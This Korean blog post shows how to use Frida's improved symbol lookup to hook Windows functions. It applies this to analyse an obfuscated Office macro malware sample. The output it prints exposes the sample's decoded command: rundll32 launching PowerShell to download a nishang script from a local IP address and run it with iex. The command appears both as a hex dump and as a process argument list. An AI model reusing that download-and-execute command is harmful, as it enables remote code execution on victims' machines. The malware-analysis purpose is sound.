Frida를 사용한 윈도우즈 인터널스 리버스 엔지니어링
Frida는 최근 몇년간 새로운 프로그램 행위 분석 플랫폼으로서 각광을 받고 있습니다. 안드로이드나 아이폰 등의 모바일 플랫폼 뿐만 아니라 최근 윈도우즈 플랫폼에서도 그 간편한 사용법으로 인해서 사용자 층을 넓혀 가고 있습니다. 다른그림에서는 많은 트레이닝과 내부 리서치를 WinDbg나 PyKD와 같은 툴들을 사용해서 진행하고 있습니다. 하지만, 갈수록 편리성에 중점을 둔 툴들의 필요성에 대한 요구들이 늘어남에 따라서 Frida에 대한 리서치를 진행하였고, 몇가지 커뮤니티에서 해결하지 못한 문제점 들을 발견하였습니다. 이에 새로운 기능을 PR (Pull Request)로 보내어 마스터 브랜치로 머지 시키고 12.9.8 릴리즈에 포함되어 배포 되고 있습니다.
이 글에서는 새롭게 추가된 기능 뿐만 아니라 전반적으로 어떻게 Frida를 실제 리버스 엔지니어링이나 말웨어, 익스플로잇 분석, 제작에 적용할 수 있을지에 대한 기본적인 설명을 드리겠습니다.
Frida 12.9.8 Improvements
기본적으로 기존 Frida에서는 심볼을 찾을 때에 모듈을 지정할 수 있는 기능이 없어, 심볼 룩업을 위해서 모든 모듈들에 대한 심볼을 로딩하고 결국 타임 아웃이 되는 치명적인 문제가 있었습니다. 이를 픽스 하는 것은 생각보다 복잡해서 새로운 WinDbg 파일인 SymSrv.dll을 추가해 주고, 그에 맞는 API들을 셋업해 주는 등의 과정과 함께 많은 테스트를 거쳐서 작동이 원할한지 등에 대한 체크를 수행해야 했습니다.
기존에 dbghelp.dll 만을 사용해서 로칼 심볼 룩업이 가능했던 것을 symsrv.dll의 여러 API들을 추가하여 마이크로소프트의 공식 심볼 서버의 심볼을 다운로드 받을 수 있도록 하였습니다.
Frida의 메인 개발자와 PR을 통해서 Frida 12.9.8에 다음과 같은 심볼 룩업과 관련된 향상된 기능이 들어 갔습니다. Frida를 이용해서 익스포트되지 않은 심볼로 함수를 후킹할 때에, 특히 개수가 많은 경우에 빠르게 후킹이 가능해 졌습니다.
Case Study: 오피스 말웨어 행위 분석하기
이렇게 향상된 기능을 이용하여 어떻게 윈도우즈에서 Frida를 이용한 심화된 리버스 엔지니어링이 가능한지 다음 예제를 통해서 알아 보도록 하겠습니다.
이 예제의 목적은 Frida를 이용하여 심하게 난독화 된 악성 매크로 오피스 파일의 행위를 분석하는 것입니다.
인스트루먼트 코드 인젝션하기
다음 다이어그램은 Frida를 사용하여 프로그램을 인스트루먼트하고 후킹 코드를 설치하는 과정을 설명한 것입니다.
기본적으로 frida, session, script 오브젝트들을 통해서 후킹 기능이 관리 되고, 후킹 콜백들은 자바스크립트를 사용하여 작성 됩니다.
다음 코드는 위의 개념을 python으로 구현하여 process_id를 가진 프로세스에 self.script_text에 할당된 자바스크립트 후킹 코드를 인젝션하는 예제 코드입니다.
def instrument(self, process_id):
session = frida.attach(process_id)
self.sessions.append(session)
session.enable_child_gating()
script = session.create_script(self.script_text)
script.on('message', self.on_message)
script.load()
심볼 룩업: resolveName
기본적으로 Frida의 자바스크립트 API들은 다음 문서에 잘 기술 되어 있습니다.
후킹을 위한 여러 작업 중에 가장 먼저 해야 할 일은 먼저 대상이 되는 함수의 주소를 찾는 것입니다.
만약 해당 함수가 export 되어 있다면 다음과 같이 Module.findExportByName 메쏘드를 사용하여 주소 룩업이 가능합니다.
Module.findExportByName(dllName, name)
하지만, 해당 함수가 export 되어 있지 않지만, PDB와 같은 심볼 파일에는 기록 되어 있을 경우 DebugSymbol.getFunctionByName 이라는 메쏘드를 사용하여 룩업이 가능합니다. 기존 구현체의 경우에는 이 함수가 모든 모듈을 모두 뒤져서 함수 이름을 찾는 비효율성을 가지고 있었습니다. 특히 최근 윈도우즈에서는 호환성 레이어등으로 인해서 같은 API 이름이 여러 DLL에서 export되는 경우가 많기 때문에 후킹 코드가 정확히 어디에 후킹 되었는지 알기 힘든 문제가 있었습니다. 12.9.8 버전에서는 이러한 문제가 개선되어, DebugSymbol.getFunctionByName에 “DLLName!FunctionName”과 같은 형태로 모듈을 지정해서 후킹을 진행할 수 있게 되었습니다. 추가로 특정 모듈에 대한 심볼 로딩을 강제 하기 위해서 DebugSymbol.load 이라는 메쏘드가 추가 되었습니다. 즉 특정 모듈에 대한 심볼을 사용하기 위해서 먼저 DebugSymbol.load에 모듈 이름을 넘겨서 심볼을 로딩한 후에 DebugSymbol.getFunctionByName을 사용하여 심볼을 룩업하면 됩니다.
심볼 룩업은 사실 리모트 심볼 서버에 접속하는 경우 시간이 많이 걸리는 경향이 있기 때문에 기존에 룩업된 심볼들을 미리 캐슁해 놓고, 심볼 콜을 최소화해서 부르는 코드를 작성하였습니다. 다음의 resolveName이라는 함수를 통해서 export 되었든지 아니면 symbol에 존재하는 함수를 빠르게 룩업할 수 있습니다.
var loadedModules = {}
var resolvedAddresses = {}
function resolveName(dllName, name) {
var moduleName = dllName.split('.')[0]
var functionName = moduleName + "!" + name
if (functionName in resolvedAddresses) {
return resolvedAddresses[functionName]
}
log("resolveName " + functionName);
log("Module.findExportByName " + dllName + " " + name);
var addr = Module.findExportByName(dllName, name)
if (!addr || addr.isNull()) {
if (!(dllName in loadedModules)) {
log(" DebugSymbol.loadModule " + dllName);
try {
DebugSymbol.load(dllName)
} catch (err) {
return 0;
}
log(" DebugSymbol.load finished");
loadedModules[dllName] = 1
}
try {
log(" DebugSymbol.getFunctionByName: " + functionName);
addr = DebugSymbol.getFunctionByName(moduleName + '!' + name)
log(" DebugSymbol.getFunctionByName: addr = " + addr);
} catch (err) {
log(" DebugSymbol.getFunctionByName: Exception")
}
}
resolvedAddresses[functionName] = addr
return addr
}
Setting Symbol Path
한가지, 윈도우즈에서 심볼 서버를 사용하기 위해서는 여러가지 방법이 있지만, Symbol path for Windows debuggers에 제시 된 것과 같은 명령을 통해서 _NT_SYMBOL_PATH 환경 변수를 셋업해 주면 됩니다.
setx _NT_SYMBOL_PATH SRV*c:\symbols*https://msdl.microsoft.com/download/symbols
만약 디폴트 심볼 디렉토리에 심볼들을 저장하려면 다음과 같이 더 간략한 명령을 사용할 수 있습니다.
setx _NT_SYMBOL_PATH SRV*https://msdl.microsoft.com/download/symbols
Running Malware and Observing Behavior
Frida의 테스팅을 위해서 스트링 기반 난독화를 사용하는 오피스 매크로 말웨어 샘플을 사용하여습니다.
이 아티클에 사용된 예제 프로그램은 다음 github 저장소에서 찾으실 수 있습니다.
오피스 프로그램을 실행 시키고, 프로세스 ID가 3064라고 가정했을 경우 다음과 같은 명령을 통해서 vbe.js 자바스크립트 후킹 코드를 인젝션 할 수 있습니다.
> python inject.py -p 3064 vbe.js
resolveName vbe7!rtcShell
Module.findExportByName vbe7 rtcShell
Interceptor.attach: vbe7!rtcShell@0x652a2b76
resolveName vbe7!__vbaStrCat
Module.findExportByName vbe7 __vbaStrCat
DebugSymbol.loadModule vbe7
DebugSymbol.load finished
DebugSymbol.getFunctionByName: vbe7!__vbaStrCat
DebugSymbol.getFunctionByName: addr = 0x651e53e6
Interceptor.attach: vbe7!__vbaStrCat@0x651e53e6
resolveName vbe7!__vbaStrComp
Module.findExportByName vbe7 __vbaStrComp
DebugSymbol.getFunctionByName: vbe7!__vbaStrComp
DebugSymbol.getFunctionByName: addr = 0x651e56a2
Interceptor.attach: vbe7!__vbaStrComp@0x651e56a2
resolveName vbe7!rtcCreateObject
Module.findExportByName vbe7 rtcCreateObject
Interceptor.attach: vbe7!rtcCreateObject@0x653e6e4c
resolveName vbe7!rtcCreateObject2
Module.findExportByName vbe7 rtcCreateObject2
Interceptor.attach: vbe7!rtcCreateObject2@0x653e6ece
resolveName vbe7!CVbeProcs::CallMacro
Module.findExportByName vbe7 CVbeProcs::CallMacro
DebugSymbol.getFunctionByName: vbe7!CVbeProcs::CallMacro
DebugSymbol.getFunctionByName: addr = 0x6529019b
Interceptor.attach: vbe7!CVbeProcs::CallMacro@0x6529019b
resolveName oleaut32!DispCallFunc
Module.findExportByName oleaut32 DispCallFunc
Interceptor.attach: oleaut32!DispCallFunc@0x747995b0
[!] Ctrl+D on UNIX, Ctrl+Z on Windows/cmd.exe to detach from instrumented program.
후킹 코드
여기에서는 어떠한 함수들을 왜 후킹하였고, 어떠한 흥미로운 데이타들을 관찰할 수 있는지에 대해서 설명하겠습니다.
__vbaStrCat
먼저 vbe7.dll의 __vbaStrCat 함수는 Visual Basic 코드에서 스트링들을 서로 합칠때에 불려 지는 함수입니다.
.text:651E53E6 ; __stdcall __vbaStrCat(x, x)
.text:651E53E6 ___vbaStrCat@8 proc near ; CODE XREF: _lblEX_ConcatStr↑p
많은 매크로 기반 악성코드에서는 스트링 기반의 난독화를 사용합니다. 실제로 이러한 스트링들이 해독 될 대에는 이렇게 조각 조각 난독화된 스트링들을 해독한 후에 다시 이어 붙이는 작업을 많이 진행합니다. 이 함수를 모니터링함으로써 실제로 이러한 스트링들이 해독화 되는 과정을 모니터링할 수 있습니다.
해당 코드는 다음과 같습니다. 합쳐진 스트링에 관심이 있기 때문에 onEnter를 통해서 들어온 input은 무시하고, onLeave 콜백으로 리턴되는 스트링들만을 프린트 해 줍니다.
function hookVBAStrCat(moduleName) {
hookFunction(moduleName, "__vbaStrCat", {
onEnter: function (args) {
log("[+] __vbaStrCat")
// log('[+] ' + name);
// dumpBSTR(args[0]);
// dumpBSTR(args[1]);
},
onLeave: function (retval) {
dumpBSTR(retval);
}
})
}
많은 메시지들이 나오지만, 다음과 같이 해독화가 끝난 스트링들이 마지막에 나오게 됩니다.
[+] __vbaStrCat
[+] address: 0x2405009c
length: 328
0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 C.:.\.W.i.n.d.o.
00000010 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 w.s.\.S.y.s.t.e.
00000020 6d 00 33 00 32 00 5c 00 72 00 75 00 6e 00 64 00 m.3.2.\.r.u.n.d.
00000030 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 l.l.3.2...e.x.e.
00000040 20 00 43 00 3a 00 5c 00 55 00 73 00 65 00 72 00 .C.:.\.U.s.e.r.
00000050 73 00 5c 00 74 00 65 00 73 00 74 00 65 00 72 00 s.\.t.e.s.t.e.r.
00000060 5c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 \.A.p.p.D.a.t.a.
00000070 5c 00 4c 00 6f 00 63 00 61 00 6c 00 5c 00 54 00 \.L.o.c.a.l.\.T.
00000080 65 00 6d 00 70 00 5c 00 70 00 6f 00 77 00 65 00 e.m.p.\.p.o.w.e.
00000090 72 00 73 00 68 00 64 00 6c 00 6c 00 2e 00 64 00 r.s.h.d.l.l...d.
000000a0 6c 00 6c 00 2c 00 6d 00 61 00 69 00 6e 00 20 00 l.l.,.m.a.i.n. .
000000b0 2e 00 20 00 7b 00 20 00 49 00 6e 00 76 00 6f 00 .. .{. .I.n.v.o.
000000c0 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 k.e.-.W.e.b.R.e.
000000d0 71 00 75 00 65 00 73 00 74 00 20 00 2d 00 75 00 q.u.e.s.t. .-.u.
000000e0 73 00 65 00 62 00 20 00 68 00 74 00 74 00 70 00 s.e.b. .h.t.t.p.
000000f0 3a 00 2f 00 2f 00 31 00 39 00 32 00 2e 00 31 00 :././.1.9.2...1.
00000100 36 00 38 00 2e 00 31 00 30 00 2e 00 31 00 30 00 6.8...1.0...1.0.
00000110 30 00 3a 00 38 00 30 00 38 00 30 00 2f 00 6e 00 0.:.8.0.8.0./.n.
00000120 69 00 73 00 68 00 61 00 6e 00 67 00 2e 00 70 00 i.s.h.a.n.g...p.
00000130 73 00 31 00 20 00 7d 00 20 00 5e 00 7c 00 20 00 s.1. .}. .^.|. .
00000140 69 00 65 00 78 00 3b 00 i.e.x.;.
또한 다음과 같이 “WScript.Shell”이라는 이후에 다른 오퍼레이션을 위해서 사용될 문자열이 조합되는 과정을 지켜 볼 수도 있습니다.
[+] __vbaStrCat
[+] address: 0x23fa653c
length: 14
0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 69 00 70 00 74 00 2e 00 53 00 68 00 65 00 i.p.t...S.h.e.
[+] __vbaStrCat
[+] address: 0x188e2624
length: 8
0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 26 00 48 00 36 00 63 00 &.H.6.c.
[+] __vbaStrCat
[+] address: 0xe5b82a4
length: 16
0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 69 00 70 00 74 00 2e 00 53 00 68 00 65 00 6c 00 i.p.t...S.h.e.l.
[+] __vbaStrCat
[+] address: 0x23fa6e24
length: 8
0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 26 00 48 00 36 00 63 00 &.H.6.c.
[+] __vbaStrCat
[+] address: 0x23fa6a8c
length: 18
0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 69 00 70 00 74 00 2e 00 53 00 68 00 65 00 6c 00 i.p.t...S.h.e.l.
00000010 6c 00 l.
[+] __vbaStrCat
[+] address: 0xe5b82a4
length: 26
0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 57 00 53 00 63 00 72 00 69 00 70 00 74 00 2e 00 W.S.c.r.i.p.t...
00000010 53 00 68 00 65 00 6c 00 6c 00 S.h.e.l.l.
rtcCreateObject2
그 다음으로 흥미로운 함수는 rtcCreateObject2입니다. rtcCreateObject2 함수는 VBE7.DLL에서 새로운 오브젝트가 생성될 때에 불립니다. 이 함수를 모니터링함으로서 이 악성 코드가 어떠한 행위를 하려는지 알 수 있습니다.
.text:653E6ECE ; int __stdcall rtcCreateObject2(int, LPCOLESTR szUserName, wchar_t *Str2)
.text:653E6ECE public _rtcCreateObject2@8
.text:653E6ECE _rtcCreateObject2@8 proc near ; DATA XREF: .text:off_651D379C↑o
다음과 같은 코드를 사용하여 3 번째 인자인 Str2 스트링을 덤프합니다.
function hookRtcCreateObject2(moduleName) {
hookFunction(moduleName, "rtcCreateObject2", {
onEnter: function (args) {
log('[+] rtcCreateObject2');
dumpAddress(args[0]);
dumpBSTR(args[1]);
log(ptr(args[2]).readUtf16String())
},
onLeave: function (retval) {
dumpAddress(retval);
}
})
}
다음은 CreateObject 메쏘드가 WScript.Shell이라는 오브젝트를 생성함을 보여 줍니다. 이 오브젝트는 외부 명령을 실행하기 위해서 사용되는 오브젝트입니다. 이로서 이 악성코드가 외부 명령을 실행할 것이라는 점을 알 수 있습니다.
[+] rtcCreateObject2
[+] address: 0xef66dc
0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010 a4 82 5b 0e 8c 6a fa 23 74 85 5b 0e 8c 67 ef 00 ..[..j.#t.[..g..
00000020 fa 17 be 1b 8c 67 ef 00 d0 6a 2e 75 e0 f1 c0 0c .....g...j.u....
00000030 60 91 `.
[+] address: 0xe5b82a4
length: 26
0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 57 00 53 00 63 00 72 00 69 00 70 00 74 00 2e 00 W.S.c.r.i.p.t...
00000010 53 00 68 00 65 00 6c 00 6c 00 S.h.e.l.l.
DispCallFunc
이 예제 후킹 코드에서 후킹하는 또하나의 API는 DispCallFunc function입니다. 이 함수는 새로운 COM 오브젝트등을 생성할 때에 사용되고, 다음과 같은 프로토타입을 가지고 있습니다.
HRESULT DispCallFunc(
void *pvInstance,
ULONG_PTR oVft,
CALLCONV cc,
VARTYPE vtReturn,
UINT cActuals,
VARTYPE *prgvt,
VARIANTARG **prgpvarg,
VARIANT *pvargResult
);
다음은 해당 함수에 대한 몇몇 흥미로운 인자들을 프린트해 주는 후킹 코드입니다. pvInstance 인자와 oVft를 사용해서 실제로 어떠한 콜을 부를지 해당 메모리 주소의 심볼 값과 해당 인스트럭션들을 보여줍니다.
function hookDispCall(moduleName) {
hookFunction(moduleName, "DispCallFunc", {
onEnter: function (args) {
log("[+] DispCallFunc")
var pvInstance = args[0]
var oVft = args[1]
var instance = ptr(ptr(pvInstance).readULong());
log(' instance:' + instance);
log(' oVft:' + oVft);
var vftbPtr = instance.add(oVft)
log(' vftbPtr:' + vftbPtr);
var functionAddress = ptr(ptr(vftbPtr).readULong())
loadModuleForAddress(functionAddress)
var functionName = DebugSymbol.fromAddress(functionAddress)
if (functionName) {
log(' functionName:' + functionName);
}
dumpAddress(functionAddress);
var currentAddress = functionAddress
for (var i = 0; i < 10; i++) {
try {
var instruction = Instruction.parse(currentAddress)
log(instruction.address + ': ' + instruction.mnemonic + ' ' + instruction.opStr)
currentAddress = instruction.next
} catch (err) {
break
}
}
}
})
}
이 악성 코드의 실행을 통해서 wshom.ocx!CWshShell::Run 이라는 함수를 부르는 COM 오브젝트가 사용됨을 알 수 있습니다.
[+] DispCallFunc
instance:0x69901070
oVft:0x24
vftbPtr:0x69901094
functionAddress:0x69906260
modules.length:133
wshom.ocx: 0x69900000 147456 C:\Windows\System32\wshom.ocx
DebugSymbol.loadModule C:\Windows\System32\wshom.ocx
DebugSymbol.loadModule loadedModuleBase: true
functionName:0x69906260 wshom.ocx!CWshShell::Run
[+] address: 0x69906260
0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 8b ff 55 8b ec 81 ec 5c 08 00 00 a1 b4 52 91 69 ..U....\.....R.i
00000010 33 c5 89 45 fc 8b 45 10 8b 4d 14 8b 55 18 89 85 3..E..E..M..U...
00000020 f8 f7 ff ff 89 8d ec f7 ff ff 89 95 e4 f7 ff ff ................
00000030 c7 85 ..
0x69906260: mov edi, edi
0x69906262: push ebp
0x69906263: mov ebp, esp
0x69906265: sub esp, 0x85c
0x6990626b: mov eax, dword ptr [0x699152b4]
0x69906270: xor eax, ebp
0x69906272: mov dword ptr [ebp - 4], eax
0x69906275: mov eax, dword ptr [ebp + 0x10]
0x69906278: mov ecx, dword ptr [ebp + 0x14]
0x6990627b: mov edx, dword ptr [ebp + 0x18]
또한 Frida에서는 device callback을 통해서 새로운 프로세스의 생성을 모니터링할 수 있습니다. 다음과 같이 rundll32.exe 프로세스가 생성되었고, 결국 파워쉘 스크립트를 실행함을 관찰 할 수 있습니다.
⚡ child_added: Child(pid=6300, parent_pid=3064, origin=spawn, path='C:\\Windows\\System32\\rundll32.exe', argv=['C:\\Windows\\System32\\rundll32.exe', 'C:\\Users\\tester\\AppData\\Local\\Temp\\powershdll.dll,main', '.', '{', 'Invoke-WebRequest', '-useb', 'http://192.168.10.100:8080/nishang.ps1', '}', '^|', 'iex;'], envp=None)
결론
Frida는 그 편리함으로 인해서 점점 더 사용이 많이 될 것입니다. WinDbg 등의 툴이 아니면 수행하기 힘든 여러 리버스 엔지니어링 작업도 있지만, Frida와 같은 툴들을 통해서 짧은 시간에 효율적으로 많은 행위 정보와 프로그램의 내부 작동 원리들을 파악할 수 있습니다. 이번에 다른그림에서 제공해서 master 브랜치에 통합된 코드로 인해서 윈도우즈 환경에서 더 정확, 유연하고 빠른 후킹이 가능해졌습니다.
트레이닝 정보
다른그림은 Threat 인텔리젼스와 지식 제공 회사로서 다음과 같은 Frida와 관련된 트레이닝을 제공합니다. 많은 관심 바랍니다.